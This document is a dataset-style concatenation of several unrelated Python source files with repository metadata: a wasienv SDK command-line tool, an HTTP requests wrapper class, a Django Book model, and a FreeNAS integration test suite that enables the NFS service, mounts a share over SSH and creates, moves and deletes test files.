superuser. """ if self.user.is_superuser or self.user == page.metapage.owner: return True return False class UserProfile(UserProfileBase): class Meta: app_label = 'yacon'
[ "ctrudeau@arsensa.com" ]
ctrudeau@arsensa.com
2da4ba03d5dd2a0245241774909cb880bcf89abe
182480ab7335a0ca44830b2b05f53de71ed27262
/wasienv/wasienv.py
18b731bedece14baaa0f475d2fb4a02d706c760d
[ "MIT" ]
permissive
torch2424/wasienv
d6fb8a166badca0a635894640d65ad18cd989a50
1984e395af875563d28e8e7879181d56d51f7fff
refs/heads/master
2020-09-04T01:07:13.218804
2019-11-02T00:57:16
2019-11-02T00:57:16
219,626,231
0
0
MIT
2019-11-05T00:55:24
2019-11-05T00:55:24
null
UTF-8
Python
false
false
724
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import sys import os from .tools import execute from .sdk import download_and_unpack, CURRENT_SDK, SDKAlreadyExists, set_default_sdk def run(args): if len(args) <= 1: print("wasienv command line tool") return if args[1] == "install-sdk": sdk_version = args[2] try: download_and_unpack(sdk_version) except SDKAlreadyExists as e: print(e) elif args[1] == "default-sdk": if len(args) == 3: sdk_version = args[2] set_default_sdk(sdk_version) else: print(CURRENT_SDK) if __name__ == '__main__': execute(run)
[ "me@syrusakbary.com" ]
me@syrusakbary.com
7211b81a695ca974186217a73606ab6f37003dff
3694563be043a2d555bacb1abff51a77a17eb4e6
/common/mRequests.py
fcbbdd30f91994267313d6dde04614e0c7ea7fa5
[]
no_license
smallsharp/mInterface
1911e99c9482c0450e2d72dc6b1f2c8c32fa000b
b8c0be069b7cdf9812b42895a0919a78719aad4b
refs/heads/master
2020-03-10T00:28:23.170196
2018-05-23T09:57:16
2018-05-23T09:57:16
129,082,468
0
0
null
null
null
null
UTF-8
Python
false
false
5,587
py
import requests import mParser from common.mLog import MyLog import os PATH = lambda p: os.path.abspath( os.path.join(os.path.dirname(__file__), p) ) class MyRequests: # config.ini配置文件的路径 iniParser = mParser.MyIniParser(PATH('../config.ini')) def __init__(self): # self.protocol = self.iniParser.getItem('HTTP', 'protocol') # 协议 # self.host = self.iniParser.getItem('HTTP', 'host') # 域名 # self.port = self.iniParser.getItem('HTTP', 'port') # 端口 self.url = None # 请求地址 self.method = 'get' self.headers = None # 头信息 self.params = None # 请求参数 self.data = None # 请求参数 self.cookies = None self.files = None self.state = 0 self.timeout = self.iniParser.getItem('HTTP', 'timeout') # 超时时间 def setRequest(self, url, params, method='get', data=None, json=None, headers=None, cookies=None): # self.url = '{}://{}{}'.format(self.protocol, self.host, uri) self.url = url self.params = params # get self.data = data # post self.json = json # post self.method = method self.headers = headers self.cookies = cookies def set_headers(self, header): self.headers = header def send(self): if self.method == 'get': return self.get(self.url, self.params, headers=self.headers, cookies=self.cookies, timeout=float(self.timeout)) elif self.method == 'post': return self.post(self.url, self.data,json=self.json,headers=self.headers, cookies=self.cookies, timeout=float(self.timeout)) else: raise Exception('unknown method {}'.format(self.method)) def get(self, url, params=None, **kwargs): """ get请求 :param url: :param params: :param kwargs: :return: """ return requests.get(url, params=params, **kwargs) def post(self, url, data=None, json=None, **kwargs): """ :param url: :param data: :param json: :param kwargs: :return: """ return requests.post(url, data=data, json=json, **kwargs) def set_files(self, filename): if filename != '': file_path = 'F:/AppTest/Test/interfaceTest/testFile/img/' + filename self.files = {'file': open(file_path, 'rb')} if filename == '' or filename is None: self.state = 1 def postWithFile(self): try: response = requests.post(self.url, headers=self.headers, data=self.data, files=self.files, timeout=float(self.timeout)) return response except TimeoutError: self.logger.error("Time out!") return None def request(self, method, url, params=None, data=None, headers=None, cookies=None, files=None, auth=None, timeout=None, allow_redirects=True, proxies=None, hooks=None, stream=None, verify=None, cert=None, json=None): """Constructs a :class:`Request <Request>`, prepares it and sends it. Returns :class:`Response <Response>` object. :param method: method for the new :class:`Request` object. :param url: URL for the new :class:`Request` object. :param params: (optional) Dictionary or bytes to be sent in the query string for the :class:`Request`. :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`. :param json: (optional) json to send in the body of the :class:`Request`. :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`. :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`. :param files: (optional) Dictionary of ``'filename': file-like-objects`` for multipart encoding upload. :param auth: (optional) Auth tuple or callable to enable Basic/Digest/Custom HTTP Auth. :param timeout: (optional) How long to wait for the server to send data before giving up, as a float, or a :ref:`(connect timeout, read timeout) <timeouts>` tuple. :type timeout: float or tuple :param allow_redirects: (optional) Set to True by default. :type allow_redirects: bool :param proxies: (optional) Dictionary mapping protocol or protocol and hostname to the URL of the proxy. :param stream: (optional) whether to immediately download the response content. Defaults to ``False``. :param verify: (optional) Either a boolean, in which case it controls whether we verify the server's TLS certificate, or a string, in which case it must be a path to a CA bundle to use. Defaults to ``True``. :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair. :rtype: requests.Response """ if __name__ == "__main__": m = MyRequests() url = 'https://m.taidu.com/goodsSite/home/categoryProductList' params = {'abbr': 'CN', 'clientType': 'H5', 'clientVersion': ''} # res = m.get("https://m.taidu.com/goodsSite/home/categoryProductList?abbr=CN&clientType=H5&clientVersion=") res = m.get(url, params, timeout=0.5) print(res.text)
[ "464625206@qq.com" ]
464625206@qq.com
5921562e15c831eb22dffd20f69df93f583b47d3
514ee614185baa2df0489a5c4353d02fb9e4d0c2
/myapp/models.py
c60102f6bc350790c1bc6d5f2b027e12da7db00d
[]
no_license
adiram17/django-admin-custom-action
841dca3a9e6e8c23abd6431773c98afd6f4e49e1
7b139e186b2d705d54c619655a31669e7cdfec67
refs/heads/master
2022-11-19T09:07:31.626528
2020-07-09T03:14:23
2020-07-09T03:14:23
278,250,480
0
0
null
null
null
null
UTF-8
Python
false
false
814
py
from django.db import models # Create your models here. class Book(models.Model): STATUS_CHOICES = ( ('instock','In Stock'), ('outstock','Out of Stock') ) title = models.CharField(db_column='title', max_length=100, blank=False) description = models.TextField(db_column='description', max_length=1000, blank=False) author = models.CharField(db_column='author', max_length=100, blank=False) year = models.IntegerField(db_column='year',blank=False, default=2000) status = models.CharField(db_column='status', max_length=50, blank=False, choices=STATUS_CHOICES) class Meta: db_table = 'book' verbose_name = 'Book' verbose_name_plural = 'Books' def __unicode__(self): return self.title def __str__(self): return self.title
[ "adi.ramadhan@sigma.co.id" ]
adi.ramadhan@sigma.co.id
65dac723902b87c20fd7a4587915f63e5e8c1dcb
78b009f92845282db420895c8336db2aab6b293b
/tests/api2/nfs.py
0abec5fbe4e2f8d6b5c8176b47043e3bd578c558
[]
no_license
stilez/freenas
00eae76c2f97aa4a1d1b8edb2706a973395036ae
5b576f2fa899c89f660f41a20fab0d07e204aca4
refs/heads/master
2021-07-03T04:51:24.294951
2018-05-22T02:54:49
2018-05-22T02:54:49
134,390,321
0
0
null
2018-05-22T09:15:27
2018-05-22T09:15:27
null
UTF-8
Python
false
false
7,534
py
#!/usr/bin/env python3.6 # Author: Eric Turgeon # License: BSD # Location for tests into REST API of FreeNAS import pytest import sys import os apifolder = os.getcwd() sys.path.append(apifolder) from functions import PUT, POST, GET, SSH_TEST from auto_config import ip from config import * if "BRIDGEHOST" in locals(): MOUNTPOINT = "/tmp/nfs" + BRIDGEHOST NFS_PATH = "/mnt/tank/share" Reason = "BRIDGEHOST is missing in ixautomation.conf" BSDReason = 'BSD host configuration is missing in ixautomation.conf' mount_test_cfg = pytest.mark.skipif(all(["BRIDGEHOST" in locals(), "MOUNTPOINT" in locals() ]) is False, reason=Reason) bsd_host_cfg = pytest.mark.skipif(all(["BSD_HOST" in locals(), "BSD_USERNAME" in locals(), "BSD_PASSWORD" in locals() ]) is False, reason=BSDReason) # Enable NFS server def test_01_creating_the_nfs_server(): paylaod = {"servers": 10, "bindip": [ip], "mountd_port": 618, "allow_nonroot": False, "udp": False, "rpcstatd_port": 871, "rpclockd_port": 32803, "v4": False, "v4_krb": False} results = PUT("/nfs", paylaod) assert results.status_code == 200, results.text # Check creating a NFS share # def test_02_creating_a_nfs_share_on_nfs_PATH(): # paylaod = {"comment": "My Test Share", # "paths": [NFS_PATH], # "security": ["SYS"]} # results = POST("/sharing/nfs", paylaod) # assert results.status_code == 200, results.text # Now start the service def test_03_starting_nfs_service_at_boot(): results = PUT("/service/id/nfs", {"enable": True}) assert results.status_code == 200, results.text def test_04_checking_to_see_if_nfs_service_is_enabled_at_boot(): results = GET("/service?service=nfs") assert results.json()[0]["enable"] == True, results.text def test_05_starting_nfs_service(): payload = {"service": "nfs", "service-control": {"onetime": True}} results = POST("/service/start", payload) assert results.status_code == 200, results.text def test_06_checking_to_see_if_nfs_service_is_running(): results = GET("/service?service=nfs") assert results.json()[0]["state"] == "RUNNING", results.text @mount_test_cfg @bsd_host_cfg # Now check if we can mount NFS / create / rename / copy / delete / umount def test_07_creating_nfs_mountpoint(): results = SSH_TEST('mkdir -p "%s"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_08_mounting_nfs(): cmd = 'mount_nfs %s:%s %s' % (ip, NFS_PATH, MOUNTPOINT) # command below does not make sence # "umount '${MOUNTPOINT}' ; rmdir '${MOUNTPOINT}'" "60" results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_09_creating_nfs_file(): cmd = 'touch "%s/testfile"' % MOUNTPOINT # 'umount "${MOUNTPOINT}"; rmdir "${MOUNTPOINT}"' results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_10_moving_nfs_file(): cmd = 'mv "%s/testfile" "%s/testfile2"' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_11_copying_nfs_file(): cmd = 'cp "%s/testfile2" "%s/testfile"' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_12_deleting_nfs_file(): results = SSH_TEST('rm "%s/testfile2"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_13_unmounting_nfs(): results = SSH_TEST('umount "%s"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_14_removing_nfs_mountpoint(): cmd = 'test -d "%s" && rmdir "%s" || exit 0' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] # Update test def test_15_updating_the_nfs_service(): results = PUT("/nfs", {"servers": "50"}) assert results.status_code == 200, results.text def test_16_checking_to_see_if_nfs_service_is_enabled(): results = GET("/service?service=nfs") assert results.json()[0]["state"] == "RUNNING", results.text @mount_test_cfg @bsd_host_cfg # Now check if we can mount NFS / create / rename / copy / delete / umount def test_17_creating_nfs_mountpoint(): results = SSH_TEST('mkdir -p "%s"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_18_mounting_nfs(): cmd = 'mount_nfs %s:%s %s' % (ip, NFS_PATH, MOUNTPOINT) # command below does not make sence # "umount '${MOUNTPOINT}' ; rmdir '${MOUNTPOINT}'" "60" results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_19_creating_nfs_file(): cmd = 'touch "%s/testfile"' % MOUNTPOINT # 'umount "${MOUNTPOINT}"; rmdir "${MOUNTPOINT}"' results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_20_moving_nfs_file(): cmd = 'mv "%s/testfile" "%s/testfile2"' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_21_copying_nfs_file(): cmd = 'cp "%s/testfile2" "%s/testfile"' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_22_deleting_nfs_file(): results = SSH_TEST('rm "%s/testfile2"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_23_unmounting_nfs(): results = SSH_TEST('umount "%s"' % MOUNTPOINT, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] @mount_test_cfg @bsd_host_cfg def test_24_removing_nfs_mountpoint(): cmd = 'test -d "%s" && rmdir "%s" || exit 0' % (MOUNTPOINT, MOUNTPOINT) results = SSH_TEST(cmd, BSD_USERNAME, BSD_PASSWORD, BSD_HOST) assert results['result'] is True, results['output'] def test_25_stoping_nfs_service(): payload = {"service": "nfs", "service-control": {"onetime": True}} results = POST("/service/stop", payload) assert results.status_code == 200, results.text def test_26_checking_to_see_if_nfs_service_is_stop(): results = GET("/service?service=nfs") assert results.json()[0]["state"] == "STOPPED", results.text
[ "ericturgeon.bsd@gmail.com" ]
ericturgeon.bsd@gmail.com